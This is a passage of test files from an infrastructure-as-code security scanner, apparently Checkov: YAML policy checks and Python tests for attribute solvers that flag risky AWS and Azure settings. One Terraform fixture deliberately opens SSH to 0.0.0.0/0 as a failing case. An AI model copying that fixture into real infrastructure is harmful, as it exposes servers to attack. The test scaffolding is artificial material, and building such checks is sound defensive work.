    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"FalseValue\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_lb\"\n  attribute: \"internal\"\n  operator: \"is_true\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/is_true_solver/TrueValue.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"TrueValue\"\nscope:\n  provider: \"Azure\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"azurerm_storage_account\"\n  attribute: \"allow_blob_public_access\"\n  operator: \"is_true\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/is_true_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/is_true_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestIsTrue(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestIsTrue, self).setUp()\n\n    def test_is_true(self):\n        root_folder = '../../../resources/boolean_test'\n        check_id = \"TrueValue\"\n        should_pass = ['azurerm_storage_account.fail1', 'azurerm_storage_account.fail2', 'azurerm_storage_account.fail3']\n        should_fail = ['azurerm_storage_account.pass1', 'azurerm_storage_account.pass2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        super(TestIsTrue, self).run_test(root_folder=root_folder, expected_results=expected_results,\n                                               check_id=check_id)\n\n    def test_is_false(self):\n        root_folder = '../../../resources/lb'\n        check_id = \"FalseValue\"\n        should_pass = []\n        should_fail = ['aws_lb.lb_bad_1']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        super(TestIsTrue, self).run_test(root_folder=root_folder, expected_results=expected_results,\n                                         check_id=check_id)"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_equals_solver/AzureSecureRule.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"AzureSecureRule\"\nscope:\n  provider: \"AZURE\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"azurerm_network_security_group\"\n  attribute: \"security_rule[?(@.name == 'rule_we_care_about')].source_address_prefixes[*]\"\n  operator: \"jsonpath_equals\"\n  value: \"allowed_ip\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_equals_solver/CkSshPortOpenForAll.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"CkSshPortOpenForAll\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_security_group\"\n      attribute: \"ingress[?(@.to_port == 22 & @.from_port == 22)].cidr_blocks[*]\"\n      operator: \"jsonpath_equals\"\n      value: 0.0.0.0/0\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_security_group\"\n      attribute: \"ingress[?(@.to_port == 443 & @.from_port == 443)].cidr_blocks[?(@ == '8.0.4.19/92')]\"\n      operator: \"jsonpath_equals\"\n      value: 8.0.4.19/92\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_equals_solver/EcsWithMerge.yaml",
    "content": "\nmetadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"CUSTOM_003\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_ecs_task_definition\"\n  attribute: \"container_definitions.*.image\"\n  operator: \"equals\"\n  value: \"service-first\""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_equals_solver/PublicDBSG.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"PublicDBSG\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_db_security_group\"\n  attribute: \"ingress.cidr\"\n  operator: \"jsonpath_equals\"\n  value: \"10.0.0.0/24\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_equals_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_equals_solver/example.tf",
    "content": "resource \"aws_security_group\" \"web-node\" {\n  # security group is open to the world in SSH port\n  ingress {\n    from_port = 22\n    to_port   = 22\n    protocol  = \"tcp\"\n    cidr_blocks = [\n      \"0.0.0.0/0\"\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_equals_solver/test_solver.py",
    "content": "import os\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestJsonpathEqualsSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super().setUp()\n\n    def test_jsonpath_equals_solver_simple(self):\n        root_folder = '../../../resources/public_security_groups'\n        check_id = \"PublicDBSG\"\n        should_pass = ['aws_db_security_group.aws_db_security_group_private']\n        should_fail = ['aws_db_security_group.aws_db_security_group_public']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_jsonpath_equals_solver_wildcard(self):\n        root_folder = '../../../resources/security_group_multiple_rules3'\n        check_id = \"CkSshPortOpenForAll\"\n        should_pass = ['aws_security_group.sg1']\n        should_fail = ['aws_security_group.sg2', 'aws_security_group.sg3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_jsonpath_equals_azure_rule(self):\n        root_folder = '../../../resources/azure_secure_rule'\n        check_id = \"AzureSecureRule\"\n        should_pass = ['azurerm_network_security_group.sg_fail']\n        should_fail = ['azurerm_network_security_group.sg_fail2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_jsonpath_equals_ecs_with_merge(self):\n        root_folder = '../../../resources/ecs_with_merge'\n        check_id = \"CUSTOM_003\"\n        should_pass = ['aws_ecs_task_definition.service01']\n        should_fail = ['aws_ecs_task_definition.service02']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_exists_solver/AzureSecureRule.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"AzureSecureRule\"\nscope:\n  provider: \"AZURE\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"azurerm_resource_group\"\n    - \"azurerm_network_security_group\"\n  attribute: \"security_rule[?(@.name == 'rule_we_do not_care_about')].source_address_prefixes\"\n  operator: \"jsonpath_exists\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_exists_solver/CkSshPortOpenForAll.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"CkSshPortOpenForAll\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_security_group\"\n      attribute: \"ingress[?(@.to_port == 22 & @.from_port == 22)].cidr_blocks[*]\"\n      operator: \"jsonpath_exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_security_group\"\n      attribute: \"ingress[?(@.to_port == 443 & @.from_port == 443)].cidr_blocks[?(@ == '8.0.4.19/92')]\"\n      operator: \"jsonpath_exists\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_exists_solver/PublicDBSG.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"PublicDBSG\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_db_security_group\"\n    - \"aws_security_group\"\n  attribute: \"ingress.cidr_blocks\"\n  operator: \"jsonpath_exists\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_exists_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_exists_solver/example.tf",
    "content": "resource \"xyz\" \"pass\" {\n  arr {\n    name = \"a\"\n    value = \"a\"\n  }\n  arr {\n    name = \"b\"\n    value = \"x\"\n  }\n}\n\nresource \"xyz\" \"fail\" {\n  arr {\n    name = \"b\"\n    value = \"x\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_exists_solver/example.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"example\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n  - \"xyz\"\n  attribute: \"arr[?(@.name == 'a')]\"\n  operator: \"jsonpath_exists\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_exists_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestJsonpathExistsSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super().setUp()\n\n    def test_jsonpath_exists_solver_simple(self):\n        root_folder = '../../../resources/public_security_groups'\n        check_id = \"PublicDBSG\"\n        should_pass = ['aws_security_group.aws_security_group_private']\n        should_fail = ['aws_db_security_group.aws_db_security_group_public']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_jsonpath_exists_solver_wildcard(self):\n        root_folder = '../../../resources/security_group_multiple_rules3'\n        check_id = \"CkSshPortOpenForAll\"\n        should_pass = ['aws_security_group.sg1']\n        should_fail = ['aws_security_group.sg2', 'aws_security_group.sg3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_jsonpath_exists_azure_rule(self):\n        root_folder = '../../../resources/azure_secure_rule'\n        check_id = \"AzureSecureRule\"\n        should_pass = ['azurerm_network_security_group.sg_fail']\n        should_fail = ['azurerm_network_security_group.sg_fail2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_jsonpath_exists_example(self):\n        root_folder = './'\n        check_id = \"example\"\n        should_pass = ['xyz.pass']\n        should_fail = ['xyz.fail']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_equals_solver/AzureSecureRule.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"AzureSecureRule\"\nscope:\n  provider: \"AZURE\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"azurerm_network_security_group\"\n  attribute: \"security_rule[?(@.name == 'rule_we_care_about')].source_address_prefixes[*]\"\n  operator: \"jsonpath_not_equals\"\n  value: \"allowed_ip\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_equals_solver/CkSshPortOpenForAll.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"CkSshPortOpenForAll\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_security_group\"\n      attribute: \"ingress[?(@.to_port == 22 & @.from_port == 22)].cidr_blocks[*]\"\n      operator: \"jsonpath_not_equals\"\n      value: 0.0.0.0/0\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_security_group\"\n      attribute: \"ingress[?(@.to_port == 443 & @.from_port == 443)].cidr_blocks[?(@ == '8.0.4.19/92')]\"\n      operator: \"jsonpath_not_equals\"\n      value: 8.0.4.19/92\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_equals_solver/PublicDBSG.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"PublicDBSG\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_db_security_group\"\n  attribute: \"ingress.cidr\"\n  operator: \"jsonpath_not_equals\"\n  value: \"10.0.0.0/24\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_equals_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_equals_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestJsonpathNotEqualsSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super().setUp()\n\n    def test_jsonpath_not_equals_solver_simple(self):\n        root_folder = '../../../resources/public_security_groups'\n        check_id = \"PublicDBSG\"\n        should_fail = ['aws_db_security_group.aws_db_security_group_private']\n        should_pass = ['aws_db_security_group.aws_db_security_group_public']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_jsonpath_not_equals_solver_wildcard(self):\n        root_folder = '../../../resources/security_group_multiple_rules3'\n        check_id = \"CkSshPortOpenForAll\"\n        should_fail = ['aws_security_group.sg1']\n        should_pass = ['aws_security_group.sg2', 'aws_security_group.sg3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_jsonpath_not_equals_azure_rule(self):\n        root_folder = '../../../resources/azure_secure_rule'\n        check_id = \"AzureSecureRule\"\n        should_fail = ['azurerm_network_security_group.sg_fail']\n        should_pass = ['azurerm_network_security_group.sg_fail2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_exists_solver/AzureSecureRule.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"AzureSecureRule\"\nscope:\n  provider: \"AZURE\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"azurerm_resource_group\"\n    - \"azurerm_network_security_group\"\n  attribute: \"security_rule[?(@.name == 'rule_we_do not_care_about')].source_address_prefixes\"\n  operator: \"jsonpath_not_exists\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_exists_solver/CkSshPortOpenForAll.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"CkSshPortOpenForAll\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_security_group\"\n      attribute: \"ingress[?(@.to_port == 22 & @.from_port == 22)].cidr_blocks[*]\"\n      operator: \"jsonpath_not_exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_security_group\"\n      attribute: \"ingress[?(@.to_port == 443 & @.from_port == 443)].cidr_blocks[?(@ == '8.0.4.19/92')]\"\n      operator: \"jsonpath_not_exists\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_exists_solver/PublicDBSG.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"PublicDBSG\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_db_security_group\"\n    - \"aws_security_group\"\n  attribute: \"ingress.cidr_blocks\"\n  operator: \"jsonpath_not_exists\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_exists_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_exists_solver/example.tf",
    "content": "resource \"xyz\" \"fail\" {\n  arr {\n    name = \"a\"\n    value = \"a\"\n  }\n  arr {\n    name = \"b\"\n    value = \"x\"\n  }\n}\n\nresource \"xyz\" \"pass\" {\n  arr {\n    name = \"b\"\n    value = \"x\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_exists_solver/example.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"example\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n  - \"xyz\"\n  attribute: \"arr[?(@.name == 'a')]\"\n  operator: \"jsonpath_not_exists\"\n\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/jsonpath_not_exists_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestJsonpathNotExistsSolver(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super().setUp()\n\n    def test_jsonpath_not_exists_solver_simple(self):\n        root_folder = '../../../resources/public_security_groups'\n        check_id = \"PublicDBSG\"\n        should_fail = ['aws_security_group.aws_security_group_private']\n        should_pass = ['aws_db_security_group.aws_db_security_group_public']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_jsonpath_not_exists_solver_wildcard(self):\n        root_folder = '../../../resources/security_group_multiple_rules3'\n        check_id = \"CkSshPortOpenForAll\"\n        should_fail = ['aws_security_group.sg1']\n        should_pass = ['aws_security_group.sg2', 'aws_security_group.sg3']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_jsonpath_not_exists_azure_rule(self):\n        root_folder = '../../../resources/azure_secure_rule'\n        check_id = \"AzureSecureRule\"\n        should_fail = ['azurerm_network_security_group.sg_fail']\n        should_pass = ['azurerm_network_security_group.sg_fail2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_jsonpath_not_exists_example(self):\n        root_folder = './'\n        check_id = \"example\"\n        should_pass = ['xyz.pass']\n        should_fail = ['xyz.fail']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_equals_solver/ArrayLengthEquals.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"ArrayLengthEquals\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: egress.cidr_blocks\n  operator: length_equals\n  value: 2\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_equals_solver/DictLength.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"DictLengthEquals\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: ingress\n  operator: length_equals\n  value: \"2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_equals_solver/StringLengthEquals.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"StringLengthEquals\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: description\n  operator: length_equals\n  value: \"16\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_equals_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_equals_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestLengthEquals(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestLengthEquals, self).setUp()\n\n    def test_array_length_equals(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/lengths'\n        check_id = \"ArrayLengthEquals\"\n        should_pass = ['aws_security_group.sg1']\n        should_fail = ['aws_security_group.sg2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_string_length_equals(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/lengths'\n        check_id = \"StringLengthEquals\"\n        should_pass = ['aws_security_group.sg2']\n        should_fail = ['aws_security_group.sg1']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_dict_length_equals(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/lengths'\n        check_id = \"DictLengthEquals\"\n        should_pass = ['aws_security_group.sg3']\n        should_fail = ['aws_security_group.sg2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_or_equal_solver/ArrayLength.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"ArrayLengthGreaterThanOrEqual\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: egress.cidr_blocks\n  operator: length_greater_than_or_equal\n  value: 2\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_or_equal_solver/DictLength.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"DictLengthGreaterThanOrEqual\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: ingress\n  operator: length_greater_than_or_equal\n  value: \"2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_or_equal_solver/StringLength.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"StringLengthGreaterThanOrEqual\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: description\n  operator: length_greater_than_or_equal\n  value: \"16\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_or_equal_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_or_equal_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestLengthGreaterThanOrEqual(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestLengthGreaterThanOrEqual, self).setUp()\n\n    def test_array_length_greater_than_or_equal(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/lengths'\n        check_id = \"ArrayLengthGreaterThanOrEqual\"\n        should_pass = ['aws_security_group.sg1']\n        should_fail = ['aws_security_group.sg2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_string_length_greater_than_or_equal(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/lengths'\n        check_id = \"StringLengthGreaterThanOrEqual\"\n        should_pass = ['aws_security_group.sg2']\n        should_fail = ['aws_security_group.sg1']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)\n\n    def test_dict_length_greater_than_or_equal(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/lengths'\n        check_id = \"DictLengthGreaterThanOrEqual\"\n        should_pass = ['aws_security_group.sg3']\n        should_fail = ['aws_security_group.sg2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, check_id=check_id)"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_solver/ArrayLength.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"ArrayLengthGreaterThan\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: egress.cidr_blocks\n  operator: length_greater_than\n  value: 1\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_solver/DictLength.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"DictLengthGreaterThan\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: ingress\n  operator: length_greater_than\n  value: \"2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_solver/StringLength.yaml",
    "content": "metadata:\n  name: \"example\"\n  category: \"GENERAL_SECURITY\"\n  id: \"StringLengthGreaterThan\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - aws_security_group\n  attribute: description\n  operator: length_greater_than\n  value: \"15\"\n"
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_solver/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/checks_infra/attribute_solvers/length_greater_than_solver/test_solver.py",
    "content": "import os\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom tests.terraform.graph.checks_infra.test_base import TestBaseSolver\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestLengthGreaterThan(TestBaseSolver):\n    def setUp(self):\n        self.checks_dir = TEST_DIRNAME\n        super(TestLengthGreaterThan, self).setUp()\n\n    def test_array_length_greater_than(self):\n        # this is just a basic check to make sure the operator works\n        # we'll check all the other combinations more directly (because coming up with all the policy combos is painful)\n        root_folder = '../../../resources/lengths'\n        check_id = \"ArrayLengthGreaterThan\"\n        should_pass = ['aws_security_group.sg1']\n        should_fail = ['aws_security_group.sg2']\n        expected_results = {check_id: {\"should_pass\": should_pass, \"should_fail\": should_fail}}\n\n        self.run_test(root_folder=root_folder, expected_results=expected_results, 